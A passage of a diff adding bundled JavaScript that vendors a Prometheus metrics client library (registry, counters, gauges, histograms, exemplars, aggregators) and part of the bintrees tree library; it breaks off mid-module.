labels + * @returns {*[]} + */ + #expandLabels(labels) { + const missing = []; + for (const name of Object.keys(labels)) { + if (this.#labelNames.indexOf(name) === -1) { + missing.push(name); + } + } + const target = missing.length + this.#count; + const current = this.#labelNames.length; + let width = current; + if (target > width) { + while (target > width) { + width = Math.ceil(width * GROWTH_RATE); + } + this.#labelNames.length = width; + this.#labelNames.fill("", current, width); + const extension = "|".repeat(width - current); + const newMap = /* @__PURE__ */ new Map(); + for (const [key, value] of this.#map.entries()) { + newMap.set(`${key}${extension}`, value); + } + this.#map = newMap; + } + for (let i = this.#count, j = 0; j < missing.length; i++, j++) { + this.#labelNames[i] = missing[j]; + } + this.#count = target; + return missing; + } + }; + module.exports.LabelGrouper = LabelGrouper; + } +}); + +// node_modules/.pnpm/@prometheus-io+client@0.16.1/node_modules/@prometheus-io/client/lib/metricAggregators.js +var require_metricAggregators = __commonJS({ + "node_modules/.pnpm/@prometheus-io+client@0.16.1/node_modules/@prometheus-io/client/lib/metricAggregators.js"(exports) { + "use strict"; + var { LabelGrouper } = require_util3(); + function AggregatorFactory(aggregatorFn) { + return (metrics2) => { + if (metrics2.length === 0) return; + const result = { + help: metrics2[0].help, + name: metrics2[0].name, + type: metrics2[0].type, + values: [], + aggregator: metrics2[0].aggregator + }; + const byNames = /* @__PURE__ */ new Map(); + metrics2.forEach((metric) => { + metric.values.forEach((value) => { + const name = value.metricName ?? ""; + let group = byNames.get(name); + if (group === void 0) { + group = new LabelGrouper(); + byNames.set(name, group); + } + group.add(value); + }); + }); + byNames.forEach((group) => { + group.forEach((values2) => { + const valObj = { + value: aggregatorFn(values2), + labels: values2[0].labels + }; + if (values2[0].metricName !== void 0) { + valObj.metricName = values2[0].metricName; + } + result.values.push(valObj); + }); + }); + return result; + }; + } + exports.AggregatorFactory = AggregatorFactory; + exports.aggregators = { + /** + * @returns The sum of values. + */ + sum: AggregatorFactory((v) => v.reduce((p, c) => p + c.value, 0)), + /** + * @returns The first value. + */ + first: AggregatorFactory((v) => v[0].value), + /** + * @returns {undefined} Undefined; omits the metric. + */ + omit: () => { + }, + /** + * @returns The arithmetic mean of the values. + */ + average: AggregatorFactory( + (v) => v.reduce((p, c) => p + c.value, 0) / v.length + ), + /** + * @returns The minimum of the values. + */ + min: AggregatorFactory( + (v) => v.reduce((p, c) => Math.min(p, c.value), Infinity) + ), + /** + * @returns The maximum of the values. + */ + max: AggregatorFactory( + (v) => v.reduce((p, c) => Math.max(p, c.value), -Infinity) + ) + }; + } +}); + +// node_modules/.pnpm/@prometheus-io+client@0.16.1/node_modules/@prometheus-io/client/lib/registry.js +var require_registry = __commonJS({ + "node_modules/.pnpm/@prometheus-io+client@0.16.1/node_modules/@prometheus-io/client/lib/registry.js"(exports, module) { + "use strict"; + var { getValueAsString, Grouper } = require_util3(); + var { aggregators } = require_metricAggregators(); + var Registry2 = class _Registry { + static get PROMETHEUS_CONTENT_TYPE() { + return "text/plain; version=0.0.4; charset=utf-8"; + } + static get OPENMETRICS_CONTENT_TYPE() { + return "application/openmetrics-text; version=1.0.0; charset=utf-8"; + } + constructor(regContentType = _Registry.PROMETHEUS_CONTENT_TYPE) { + this._metrics = /* @__PURE__ */ new Map(); + this._collectors = []; + this._defaultLabels = {}; + if (regContentType !== _Registry.PROMETHEUS_CONTENT_TYPE && regContentType !== _Registry.OPENMETRICS_CONTENT_TYPE) { + throw new TypeError(`Content type ${regContentType} is unsupported`); + } + this._contentType = regContentType; + } + /** + * Return all metrics + * + * @see lib/metricAggregators.js + * @param {string} [aggregator] - filter by aggregator type, typically used for sum. + * @returns {object[]} + */ + getMetricsAsArray(aggregator) { + const values2 = this._metrics.values(); + if (aggregator === void 0) { + return Array.from(values2); + } else { + return Array.from( + // metrics without an explicit aggregator default to 'sum' + values2.filter((metric) => aggregator === (metric.aggregator ?? "sum")) + ); + } + } + async getMetricsAsString(metrics2) { + const metric = typeof metrics2.getForPromString === "function" ? await metrics2.getForPromString() : await metrics2.get(); + const name = escapeString(metric.name); + const help = `# HELP ${name} ${escapeString(metric.help)}`; + const type = `# TYPE ${name} ${metric.type}`; + const values2 = [help, type]; + let defaultLabelNames = Object.keys(this._defaultLabels); + if (defaultLabelNames.length === 0) { + defaultLabelNames = void 0; + } + const isOpenMetrics = this.contentType === _Registry.OPENMETRICS_CONTENT_TYPE; + for (const val of metric.values || []) { + const { metricName = name, labels = {}, sharedLabels } = val; + const seriesName = isOpenMetrics && metric.type === "counter" ? `${metricName}_total` : metricName; + const seriesLabels = defaultLabelNames === void 0 ? labels : { ...labels }; + if (defaultLabelNames !== void 0) { + for (const labelName of defaultLabelNames) { + seriesLabels[labelName] ??= this._defaultLabels[labelName]; + } + } + const labelParts = formatLabels(seriesLabels, sharedLabels); + if (sharedLabels !== void 0) { + const flattenedShared = flattenSharedLabels(sharedLabels); + if (flattenedShared) { + labelParts.push(flattenedShared); + } + } + const labelsString = labelParts.length ? `{${labelParts.join(",")}}` : ""; + let fullMetricLine = `${seriesName}${labelsString} ${getValueAsString( + val.value + )}`; + const { exemplar } = val; + if (exemplar && isOpenMetrics) { + const formattedExemplars = formatLabels(exemplar.labelSet); + fullMetricLine += ` # {${formattedExemplars.join( + "," + )}} ${getValueAsString(exemplar.value)} ${exemplar.timestamp}`; + } + values2.push(fullMetricLine); + } + return values2.join("\n"); + } + async metrics() { + const isOpenMetrics = this.contentType === _Registry.OPENMETRICS_CONTENT_TYPE; + const promises = this.getMetricsAsArray().map((metric) => { + if (isOpenMetrics && metric.type === "counter") { + metric.name = standardizeCounterName(metric.name); + } + return this.getMetricsAsString(metric); + }); + const resolves = await Promise.all(promises); + return isOpenMetrics ? `${resolves.join("\n")} +# EOF +` : `${resolves.join("\n\n")} +`; + } + registerMetric(metric) { + const existing = this._metrics.get(metric.name); + if (existing !== void 0 && existing !== metric) { + throw new Error( + `A metric with the name ${metric.name} has already been registered.` + ); + } + this._metrics.set(metric.name, metric); + } + clear() { + this._metrics = /* @__PURE__ */ new Map(); + this._defaultLabels = {}; + } + /** + * Retrieve metrics as Objects fit for JSON formatting. + * + * @param {string} [aggregator] - filter by aggregator type, typically used for sum. + * @returns {Promise<*[]>} + */ + async getMetricsAsJSON(aggregator) { + const metrics2 = []; + let defaultLabelNames = Object.keys(this._defaultLabels); + if (defaultLabelNames.length === 0) { + defaultLabelNames = void 0; + } + const promises = this.getMetricsAsArray(aggregator).map( + (metric) => metric.get() + ); + const resolves = await Promise.all(promises); + for (const item of resolves) { + if (defaultLabelNames !== void 0 && item.values !== void 0) { + for (const val of item.values) { + val.labels = { ...val.labels }; + for (const labelName of defaultLabelNames) { + val.labels[labelName] ??= this._defaultLabels[labelName]; + } + } + } + metrics2.push(item); + } + return metrics2; + } + removeSingleMetric(name) { + this._metrics.delete(name); + } + getSingleMetricAsString(name) { + return this.getMetricsAsString(this._metrics.get(name)); + } + getSingleMetric(name) { + return this._metrics.get(name); + } + setDefaultLabels(labels) { + this._defaultLabels = labels; + } + resetMetrics() { + for (const metric of this._metrics.values()) { + metric.reset(); + } + } + get contentType() { + return this._contentType; + } + setContentType(metricsContentType) { + if (metricsContentType === _Registry.OPENMETRICS_CONTENT_TYPE || metricsContentType === _Registry.PROMETHEUS_CONTENT_TYPE) { + this._contentType = metricsContentType; + } else { + throw new Error(`Content type ${metricsContentType} is unsupported`); + } + } + static merge(registers) { + const regType = registers[0].contentType; + for (const reg of registers) { + if (reg.contentType !== regType) { + throw new Error( + "Registers can only be merged if they have the same content type" + ); + } + } + const mergedRegistry = new _Registry(regType); + const metricsToMerge = registers.reduce( + (acc, reg) => acc.concat(reg.getMetricsAsArray()), + [] + ); + metricsToMerge.forEach(mergedRegistry.registerMetric, mergedRegistry); + return mergedRegistry; + } + /** + * Creates a new Registry instance from an array of metrics that were + * created by `registry.getMetricsAsJSON()`. Metrics are aggregated using + * the method specified by their `aggregator` property, or by summation if + * `aggregator` is undefined. + * @param {Array} metricsArr Array of metrics, each of which created by + * `registry.getMetricsAsJSON()`. + * @param {string} registryType content type of the new registry. Defaults + * to PROMETHEUS_CONTENT_TYPE. + * @returns {Registry} aggregated registry. + */ + static aggregate(metricsArr, registryType = _Registry.PROMETHEUS_CONTENT_TYPE) { + const aggregatedRegistry = new _Registry(); + const metricsByName = new Grouper(); + aggregatedRegistry.setContentType(registryType); + metricsArr.forEach((metrics2) => { + metrics2.forEach((metric) => { + metricsByName.add(metric.name, metric); + }); + }); + metricsByName.forEach((metrics2) => { + const aggregatorName = metrics2[0].aggregator ?? "sum"; + const aggregatorFn = aggregators[aggregatorName]; + if (typeof aggregatorFn !== "function") { + throw new Error(`'${aggregatorName}' is not a defined aggregator.`); + } + const aggregatedMetric = aggregatorFn(metrics2); + if (aggregatedMetric !== void 0) { + const aggregatedMetricWrapper = { + get: () => aggregatedMetric, + ...aggregatedMetric + }; + aggregatedRegistry.registerMetric(aggregatedMetricWrapper); + } + }); + return aggregatedRegistry; + } + }; + function formatLabels(labels, exclude) { + const formatted = []; + for (const [name, value] of Object.entries(labels)) { + if (!exclude || !Object.hasOwn(exclude, name)) { + formatted.push(`${name}="${escapeLabelValue(value)}"`); + } + } + return formatted; + } + var sharedLabelCache = /* @__PURE__ */ new WeakMap(); + function flattenSharedLabels(labels) { + const cached2 = sharedLabelCache.get(labels); + if (cached2 !== void 0) { + return cached2; + } + const formattedLabels = formatLabels(labels); + const flattened = formattedLabels.join(","); + sharedLabelCache.set(labels, flattened); + return flattened; + } + function escapeLabelValue(str) { + if (typeof str !== "string") { + return str; + } + return escapeString(str).replace(/"/g, '\\"'); + } + function escapeString(str) { + return str.replace(/\\/g, "\\\\").replace(/\n/g, "\\n"); + } + function standardizeCounterName(name) { + return name.replace(/_total$/, ""); + } + module.exports = Registry2; + module.exports.globalRegistry = new Registry2(); + } +}); + +// node_modules/.pnpm/@prometheus-io+client@0.16.1/node_modules/@prometheus-io/client/lib/validation.js +var require_validation3 = __commonJS({ + "node_modules/.pnpm/@prometheus-io+client@0.16.1/node_modules/@prometheus-io/client/lib/validation.js"(exports) { + "use strict"; + var util = __require("util"); + var metricRegexp = /^[a-zA-Z_:][a-zA-Z0-9_:]*$/; + var labelRegexp = /^[a-zA-Z_][a-zA-Z0-9_]*$/; + exports.validateMetricName = function(name) { + return metricRegexp.test(name); + }; + exports.validateLabelName = function(names = []) { + return names.filter((name) => !labelRegexp.test(name)); + }; + exports.validateLabel = function validateLabel(savedLabels, labels) { + for (const label in labels) { + if (!savedLabels.includes(label)) { + throw new Error( + `Added label "${label}" is not included in initial labelset: ${util.inspect( + savedLabels + )}` + ); + } + } + }; + } +}); + +// node_modules/.pnpm/@prometheus-io+client@0.16.1/node_modules/@prometheus-io/client/lib/metric.js +var require_metric = __commonJS({ + "node_modules/.pnpm/@prometheus-io+client@0.16.1/node_modules/@prometheus-io/client/lib/metric.js"(exports, module) { + "use strict"; + var Registry2 = require_registry(); + var { isObject: isObject3 } = require_util3(); + var { validateMetricName, validateLabelName } = require_validation3(); + var Metric = class { + constructor(config2, defaults = {}) { + if (!isObject3(config2)) { + throw new TypeError("constructor expected a config object"); + } + Object.assign( + this, + { + labelNames: [], + registers: [Registry2.globalRegistry], + aggregator: "sum", + enableExemplars: false + }, + defaults, + config2 + ); + if (!this.registers) { + this.registers = [Registry2.globalRegistry]; + } + if (!this.help) { + throw new Error("Missing mandatory help parameter"); + } + if (!this.name) { + throw new Error("Missing mandatory name parameter"); + } + if (!validateMetricName(this.name)) { + throw new Error(`Invalid metric name: ${this.name}`); + } + const invalidLabelNames = validateLabelName(this.labelNames); + if (invalidLabelNames.length > 0) { + throw new Error( + `At least one label name is invalid: ${invalidLabelNames.join(",")}` + ); + } + if (this.collect && typeof this.collect !== "function") { + throw new Error('Optional "collect" parameter must be a function'); + } + if (this.labelNames) { + this.sortedLabelNames = [...this.labelNames].sort(); + } else { + this.sortedLabelNames = []; + } + this.reset(); + for (const register of this.registers) { + if (this.enableExemplars && register.contentType === Registry2.PROMETHEUS_CONTENT_TYPE) { + throw new TypeError( + "Exemplars are supported only on OpenMetrics registries" + ); + } + register.registerMetric(this); + } + } + reset() { + } + }; + module.exports = { Metric }; + } +}); + +// node_modules/.pnpm/@prometheus-io+client@0.16.1/node_modules/@prometheus-io/client/lib/exemplar.js +var require_exemplar = __commonJS({ + "node_modules/.pnpm/@prometheus-io+client@0.16.1/node_modules/@prometheus-io/client/lib/exemplar.js"(exports, module) { + "use strict"; + var Exemplar = class { + constructor(labelSet = {}, value = null) { + this.labelSet = labelSet; + this.value = value; + } + /** + * Validation for the label set format. + * See + * {@link https://github.com/OpenObservability/OpenMetrics/blob/d99b705f611b75fec8f450b05e344e02eea6921d/specification/OpenMetrics.md#exemplars OpenMetrics Docs} + * for details. + * + * @param {object} labelSet - Exemplar labels. + * @throws {RangeError} + * @returns {void} + */ + validateExemplarLabelSet(labelSet) { + let res = ""; + for (const [labelName, labelValue] of Object.entries(labelSet)) { + res += `${labelName}${labelValue}`; + } + if (res.length > 128) { + throw new RangeError( + "Label set size must be smaller than 128 UTF-8 chars" + ); + } + } + }; + module.exports = Exemplar; + } +}); + +// node_modules/.pnpm/@prometheus-io+client@0.16.1/node_modules/@prometheus-io/client/lib/counter.js +var require_counter = __commonJS({ + "node_modules/.pnpm/@prometheus-io+client@0.16.1/node_modules/@prometheus-io/client/lib/counter.js"(exports, module) { + "use strict"; + var util = __require("util"); + var { isObject: isObject3, getLabels, nowTimestamp, LabelMap } = require_util3(); + var { Metric } = require_metric(); + var Exemplar = require_exemplar(); + var Counter2 = class extends Metric { + constructor(config2) { + super(config2); + this.type = "counter"; + this.defaultLabels = {}; + this.defaultValue = 1; + this.defaultExemplarLabelSet = {}; + if (config2.enableExemplars) { + this.enableExemplars = true; + this.inc = this.incWithExemplar; + } else { + this.inc = this.incWithoutExemplar; + } + } + /** + * Increment counter. + * @param {object} labels - What label you want to be incremented + * @param {number} value - Value to increment, if omitted increment with 1 + * @returns {void} + */ + incWithoutExemplar(labels, value) { + if (!isObject3(labels)) { + value = labels; + labels = {}; + } + if (value && !Number.isFinite(value)) { + throw new TypeError(`Value is not a valid number: ${util.format(value)}`); + } + if (value < 0) { + throw new Error("It is not possible to decrease a counter"); + } + value = value ?? 1; + this.store.validate(labels); + this.store.setDelta(labels, value); + } + /** + * Increment counter with exemplar, same as inc but accepts labels for an + * exemplar. + * If no label is provided the current exemplar labels are kept unchanged + * (defaults to empty set). + * + * @param {object} incOpts - Object with options about what metric to increase + * @param {object} incOpts.labels - What label you want to be incremented, + * defaults to null (metric with no labels) + * @param {number} incOpts.value - Value to increment, defaults to 1 + * @param {object} incOpts.exemplarLabels - Key-value labels for the + * exemplar, defaults to empty set {} + * @returns {void} + */ + incWithExemplar({ + labels = this.defaultLabels, + value = this.defaultValue, + exemplarLabels = this.defaultExemplarLabelSet + } = {}) { + this.incWithoutExemplar(labels, value); + this.updateExemplar(labels, exemplarLabels, this.store.get(labels)); + } + updateExemplar(labels, exemplarLabels, value) { + if (exemplarLabels === this.defaultExemplarLabelSet) return; + const entry = this.store.entry(labels); + entry.exemplar ??= new Exemplar(); + entry.exemplar.validateExemplarLabelSet(exemplarLabels); + entry.exemplar.labelSet = exemplarLabels; + entry.exemplar.value = value ? value : 1; + entry.exemplar.timestamp = nowTimestamp(); + } + /** + * Reset counter. + * @returns {void} + */ + reset() { + this.store = new LabelMap(this.labelNames); + if (this.labelNames.length === 0) { + this.store.set({}, 0); + } + } + async get() { + if (this.collect) { + const v = this.collect(); + if (v instanceof Promise) await v; + } + return { + help: this.help, + name: this.name, + type: this.type, + values: Array.from(this.store.values()), + aggregator: this.aggregator + }; + } + labels(...args) { + const labels = getLabels(this.labelNames, args) || {}; + return { + inc: this.inc.bind(this, labels) + }; + } + remove(...args) { + const labels = getLabels(this.labelNames, args) || {}; + this.store.validate(labels); + this.store.remove(labels); + } + }; + module.exports = Counter2; + } +}); + +// node_modules/.pnpm/@prometheus-io+client@0.16.1/node_modules/@prometheus-io/client/lib/gauge.js +var require_gauge = __commonJS({ + "node_modules/.pnpm/@prometheus-io+client@0.16.1/node_modules/@prometheus-io/client/lib/gauge.js"(exports, module) { + "use strict"; + var util = __require("util"); + var { getLabels, isObject: isObject3, LabelMap } = require_util3(); + var { Metric } = require_metric(); + var Gauge = class extends Metric { + constructor(config2) { + super(config2); + this.type = "gauge"; + } + /** + * Set a gauge to a value. + * @param {object} labels - Object with labels and their values + * @param {number} value - Value to set the gauge to, must be positive + * @returns {void} + */ + set(labels, value) { + value = getValueArg(labels, value); + labels = getLabelArg(labels); + set2(this, labels, value); + } + /** + * Reset gauge. + * @returns {void} + */ + reset() { + this.store = new LabelMap(this.labelNames); + if (this.labelNames.length === 0) { + this.store.set({}, 0); + } + } + /** + * Increment a gauge value. + * @param {object} labels - Object with labels where key is the label key and value is label value. Can only be one level deep + * @param {number} value - Value to increment - if omitted, increment with 1 + * @returns {void} + */ + inc(labels, value) { + value = getValueArg(labels, value) ?? 1; + labels = getLabelArg(labels); + setDelta(this, labels, value); + } + /** + * Decrement a gauge value. + * @param {object} labels - Object with labels where key is the label key and value is label value. Can only be one level deep + * @param {number} value - Value to decrement - if omitted, decrement with 1 + * @returns {void} + */ + dec(labels, value) { + value = getValueArg(labels, value) ?? 1; + labels = getLabelArg(labels); + setDelta(this, labels, -value); + } + /** + * Set the gauge to current unix epoch. + * @param {object} labels - Object with labels where key is the label key and value is label value. Can only be one level deep + * @returns {void} + */ + setToCurrentTime(labels) { + const now = Date.now() / 1e3; + if (labels === void 0) { + this.set(now); + } else { + this.set(labels, now); + } + } + /** + * Start a timer. + * @param {object} labels - Object with labels where key is the label key and value is label value. Can only be one level deep + * @returns {Function} - Invoke this function to set the duration in seconds since you started the timer. + * @example + * var done = gauge.startTimer(); + * makeXHRRequest(function(err, response) { + * done(); //Duration of the request will be saved + * }); + */ + startTimer(labels) { + const start = performance.now(); + return (endLabels) => { + const delta = (performance.now() - start) / 1e3; + this.set(Object.assign({}, labels, endLabels), delta); + return delta; + }; + } + async get() { + if (this.collect) { + const v = this.collect(); + if (v instanceof Promise) await v; + } + return { + help: this.help, + name: this.name, + type: this.type, + values: Array.from(this.store.values()), + aggregator: this.aggregator + }; + } + _getValue(labels) { + return this.store.get(labels ?? {}) ?? 0; + } + labels(...args) { + const labels = getLabels(this.labelNames, args); + this.store.validate(labels); + return { + inc: this.inc.bind(this, labels), + dec: this.dec.bind(this, labels), + set: this.set.bind(this, labels), + setToCurrentTime: this.setToCurrentTime.bind(this, labels), + startTimer: this.startTimer.bind(this, labels) + }; + } + remove(...args) { + const labels = getLabels(this.labelNames, args); + this.store.validate(labels); + this.store.remove(labels); + } + }; + function set2(gauge, labels, value) { + if (typeof value !== "number") { + throw new TypeError(`Value is not a valid number: ${util.format(value)}`); + } + gauge.store.validate(labels); + gauge.store.set(labels, value); + } + function setDelta(gauge, labels, delta) { + if (typeof delta !== "number") { + throw new TypeError(`Delta is not a valid number: ${util.format(delta)}`); + } + gauge.store.validate(labels); + gauge.store.setDelta(labels, delta); + } + function getLabelArg(labels) { + return isObject3(labels) ? labels : {}; + } + function getValueArg(labels, value) { + return isObject3(labels) ? value : labels; + } + module.exports = Gauge; + } +}); + +// node_modules/.pnpm/@prometheus-io+client@0.16.1/node_modules/@prometheus-io/client/lib/histogram.js +var require_histogram = __commonJS({ + "node_modules/.pnpm/@prometheus-io+client@0.16.1/node_modules/@prometheus-io/client/lib/histogram.js"(exports, module) { + "use strict"; + var util = __require("util"); + var { + getLabels, + isObject: isObject3, + isEmpty, + nowTimestamp, + LabelMap + } = require_util3(); + var { Metric } = require_metric(); + var Exemplar = require_exemplar(); + var Histogram2 = class extends Metric { + constructor(config2) { + super(config2, { + buckets: [5e-3, 0.01, 0.025, 0.05, 0.1, 0.25, 0.5, 1, 2.5, 5, 10] + }); + this.type = "histogram"; + this.defaultLabels = {}; + this.defaultExemplarLabelSet = {}; + this.enableExemplars = false; + for (const label of this.labelNames) { + if (label === "le") { + throw new Error("le is a reserved label keyword"); + } + } + this.upperBounds = this.buckets; + this.bucketValues = this.upperBounds.reduce((acc, upperBound) => { + acc[upperBound] = 0; + return acc; + }, {}); + if (config2.enableExemplars) { + this.enableExemplars = true; + this.bucketExemplars = this.upperBounds.reduce((acc, upperBound) => { + acc[upperBound] = null; + return acc; + }, {}); + Object.freeze(this.bucketExemplars); + this.observe = this.observeWithExemplar; + } else { + this.observe = this.observeWithoutExemplar; + } + Object.freeze(this.bucketValues); + Object.freeze(this.upperBounds); + if (this.labelNames.length === 0) { + this.store = new LabelMap(this.labelNames); + this.store.merge( + {}, + createBaseValues({}, this.bucketValues, this.bucketExemplars) + ); + } + } + /** + * Observe a value in histogram. + * @param {object} labels - Object with labels where key is the label key and value is label value. Can only be one level deep + * @param {number} value - Value to observe in the histogram + * @returns {void} + */ + observeWithoutExemplar(labels, value) { + observe(this, labels === 0 ? 0 : labels || {}, value); + } + observeWithExemplar({ + labels = this.defaultLabels, + value, + exemplarLabels = this.defaultExemplarLabelSet + } = {}) { + observe(this, labels === 0 ? 0 : labels || {}, value); + this.updateExemplar(labels, value, exemplarLabels); + } + updateExemplar(labels, value, exemplarLabels) { + if (isEmpty(exemplarLabels)) return; + const bound = findBound(this.upperBounds, value); + const { bucketExemplars } = this.store.entry(labels); + let exemplar = bucketExemplars[bound]; + if (!isObject3(exemplar)) { + exemplar = new Exemplar(); + bucketExemplars[bound] = exemplar; + } + exemplar.validateExemplarLabelSet(exemplarLabels); + exemplar.labelSet = exemplarLabels; + exemplar.value = value; + exemplar.timestamp = nowTimestamp(); + } + async get() { + const data = await this.getForPromString(); + data.values = data.values.map(splayLabels); + return data; + } + async getForPromString() { + if (this.collect) { + const v = this.collect(); + if (v instanceof Promise) await v; + } + const data = Array.from(this.store.values()); + const values2 = data.map(extractBucketValuesForExport(this)).reduce(addSumAndCountForExport(this), []); + return { + name: this.name, + help: this.help, + type: this.type, + values: values2, + aggregator: this.aggregator + }; + } + reset() { + this.store = new LabelMap(this.labelNames); + } + /** + * Initialize the metrics for the given combination of labels to zero. + * @param {object} labels - Object with labels where key is the label key and value is label value. Can only be one level deep + * @returns {void} + */ + zero(labels) { + this.store.validate(labels); + this.store.merge( + labels, + createBaseValues(labels, this.bucketValues, this.bucketExemplars) + ); + } + /** + * Start a timer that could be used to logging durations. + * @param {object} labels - Object with labels where key is the label key and value is label value. Can only be one level deep + * @param {object} exemplarLabels - Object with labels for exemplar where key is the label key and value is label value. Can only be one level deep + * @returns {Function} - Function to invoke when you want to stop the timer and observe the duration in seconds + * @example + * var end = histogram.startTimer(); + * makeExpensiveXHRRequest(function(err, res) { + * const duration = end(); //Observe the duration of expensiveXHRRequest and returns duration in seconds + * console.log('Duration', duration); + * }); + */ + startTimer(labels, exemplarLabels) { + return this.enableExemplars ? startTimerWithExemplar(this, labels, exemplarLabels) : startTimer(this, labels); + } + labels(...args) { + const labels = getLabels(this.labelNames, args); + this.store.validate(labels); + return { + observe: (value) => observe(this, labels, value), + startTimer: () => startTimer(this, labels) + }; + } + remove(...args) { + const labels = getLabels(this.labelNames, args); + this.store.validate(labels); + this.store.remove(labels); + } + }; + function startTimer(histogram, startLabels) { + const start = process.hrtime(); + return (endLabels) => { + const delta = process.hrtime(start); + const value = delta[0] + delta[1] / 1e9; + histogram.observe(Object.assign({}, startLabels, endLabels), value); + return value; + }; + } + function startTimerWithExemplar(histogram, startLabels, startExemplarLabels) { + const start = process.hrtime(); + return (endLabels, endExemplarLabels) => { + const delta = process.hrtime(start); + const value = delta[0] + delta[1] / 1e9; + histogram.observe({ + labels: Object.assign({}, startLabels, endLabels), + value, + exemplarLabels: Object.assign({}, startExemplarLabels, endExemplarLabels) + }); + return value; + }; + } + function setValuePair(labels, value, metricName, exemplar, sharedLabels = {}) { + return { + labels, + sharedLabels, + value, + metricName, + exemplar + }; + } + function findBound(upperBounds, value) { + for (let i = 0; i < upperBounds.length; i++) { + const bound = upperBounds[i]; + if (value <= bound) { + return bound; + } + } + return -1; + } + function observe(histogram, labels, value) { + const labelValuePair = convertLabelsAndValues(labels, value); + if (!Number.isFinite(labelValuePair.value)) { + throw new TypeError( + `Value is not a valid number: ${util.format(labelValuePair.value)}` + ); + } + histogram.store.validate(labelValuePair.labels); + let entry = histogram.store.entry(labelValuePair.labels); + if (entry === void 0) { + entry = histogram.store.merge( + labelValuePair.labels, + createBaseValues( + labelValuePair.labels, + histogram.bucketValues, + histogram.bucketExemplars + ) + ); + } + const b2 = findBound(histogram.upperBounds, labelValuePair.value); + entry.sum += labelValuePair.value; + entry.count += 1; + if (Object.hasOwn(entry.bucketValues, b2)) { + entry.bucketValues[b2] += 1; + } + } + function createBaseValues(labels, bucketValues, bucketExemplars) { + const result = { + labels, + bucketValues: { ...bucketValues }, + sum: 0, + count: 0 + }; + if (bucketExemplars) { + result.bucketExemplars = { ...bucketExemplars }; + } + return result; + } + function convertLabelsAndValues(labels, value) { + return isObject3(labels) ? { + labels, + value + } : { + labels: {}, + value: labels + }; + } + function extractBucketValuesForExport(histogram) { + const name = `${histogram.name}_bucket`; + return (bucketData) => { + let acc = 0; + const buckets = histogram.upperBounds.map((upperBound) => { + acc += bucketData.bucketValues[upperBound]; + return setValuePair( + { le: upperBound }, + acc, + name, + bucketData.bucketExemplars ? bucketData.bucketExemplars[upperBound] : null, + bucketData.labels + ); + }); + return { buckets, data: bucketData }; + }; + } + function addSumAndCountForExport(histogram) { + return (acc, d) => { + acc.push(...d.buckets); + const infLabel = { le: "+Inf" }; + acc.push( + setValuePair( + infLabel, + d.data.count, + `${histogram.name}_bucket`, + d.data.bucketExemplars ? d.data.bucketExemplars["-1"] : null, + d.data.labels + ), + setValuePair( + {}, + d.data.sum, + `${histogram.name}_sum`, + void 0, + d.data.labels + ), + setValuePair( + {}, + d.data.count, + `${histogram.name}_count`, + void 0, + d.data.labels + ) + ); + return acc; + }; + } + function splayLabels(bucket) { + const { sharedLabels, labels, ...newBucket } = bucket; + for (const label of Object.keys(sharedLabels)) { + labels[label] = sharedLabels[label]; + } + newBucket.labels = labels; + return newBucket; + } + module.exports = Histogram2; + } +}); + +// node_modules/.pnpm/bintrees@1.0.2/node_modules/bintrees/lib/treebase.js +var require_treebase = __commonJS({ + "node_modules/.pnpm/bintrees@1.0.2/node_modules/bintrees/lib/treebase.js"(exports, module) { + function TreeBase() { + } + TreeBase.prototype.clear = function() { + this._root = null; + this.size = 0; + }; + TreeBase.prototype.find = function(data) { + var res = this._root; + while (res !== null) { + var c = this._comparator(data, res.data); + if (c === 0) { + return res.data; + } else { + res = res.get_child(c > 0); + } + } + return null; + }; + TreeBase.prototype.findIter = function(data) { + var res = this._root; + var iter = this.iterator(); + while (res !== null) { + var c = this._comparator(data, res.data); + if (c === 0) { + iter._cursor = res; + return iter; + } else { + iter._ancestors.push(res); + res = res.get_child(c > 0); + } + } + return null; + }; + TreeBase.prototype.lowerBound = function(item) { + var cur = this._root; + var iter = this.iterator(); + var cmp = this._comparator; + while (cur !== null) { + var c = cmp(item, cur.data); + if (c === 0) { + iter._cursor = cur; + return iter; + } + iter._ancestors.push(cur); + cur = cur.get_child(c > 0); + } + for (var i = iter._ancestors.length - 1; i >= 0; --i) { + cur = iter._ancestors[i]; + if (cmp(item, cur.data) < 0) { + iter._cursor = cur; + iter._ancestors.length = i; + return iter; + } + } + iter._ancestors.length = 0; + return iter; + }; + TreeBase.prototype.upperBound = function(item) { + var iter = this.lowerBound(item); + var cmp = this._comparator; + while (iter.data() !== null && cmp(iter.data(), item) === 0) { + iter.next(); + } + return iter; + }; + TreeBase.prototype.min = function() { + var res = this._root; + if (res === null) { + return null; + } + while (res.left !== null) { + res = res.left; + } + return res.data; + }; + TreeBase.prototype.max = function() { + var res = this._root; + if (res === null) { + return null; + } + while (res.right !== null) { + res = res.right; + } + return res.data; + }; + TreeBase.prototype.iterator = function() { + return new Iterator(this); + }; + TreeBase.prototype.each = function(cb) { + var it = this.iterator(), data; + while ((data = it.next()) !== null) { + if (cb(data) === false) { + return; + } + } + }; + TreeBase.prototype.reach = function(cb) { + var it = this.iterator(), data; + while ((data = it.prev()) !== null) { + if (cb(data) === false) { + return; + } + } + }; + function Iterator(tree) { + this._tree = tree; + this._ancestors = []; + this._cursor = null; + } + Iterator.prototype.data = function() { + return this._cursor !== null ? this._cursor.data : null; + }; + Iterator.prototype.next = function() { + if (this._cursor === null) { + var root = this._tree._root; + if (root !== null) { + this._minNode(root); + } + } else { + if (this._cursor.right === null) { + var save; + do { + save = this._cursor; + if (this._ancestors.length) { + this._cursor = this._ancestors.pop(); + } else { + this._cursor = null; + break; + } + } while (this._cursor.right === save); + } else { + this._ancestors.push(this._cursor); + this._minNode(this._cursor.right); + } + } + return this._cursor !== null ? this._cursor.data : null; + }; + Iterator.prototype.prev = function() { + if (this._cursor === null) { + var root = this._tree._root; + if (root !== null) { + this._maxNode(root); + } + } else { + if (this._cursor.left === null) { + var save; + do { + save = this._cursor; + if (this._ancestors.length) { + this._cursor = this._ancestors.pop(); + } else { + this._cursor = null; + break; + } + } while (this._cursor.left === save); + } else { + this._ancestors.push(this._cursor); + this._maxNode(this._cursor.left); + } + } + return this._cursor !== null ? this._cursor.data : null; + }; + Iterator.prototype._minNode = function(start) { + while (start.left !== null) { + this._ancestors.push(start); + start = start.left; + } + this._cursor = start; + }; + Iterator.prototype._maxNode = function(start) { + while (start.right !== null) { + this._ancestors.push(start); + start = start.right; + } + this._cursor = start; + }; + module.exports = TreeBase; + } +}); + +// node_modules/.pnpm/bintrees@1.0.2/node_modules/bintrees/lib/rbtree.js +var require_rbtree = __commonJS({ + 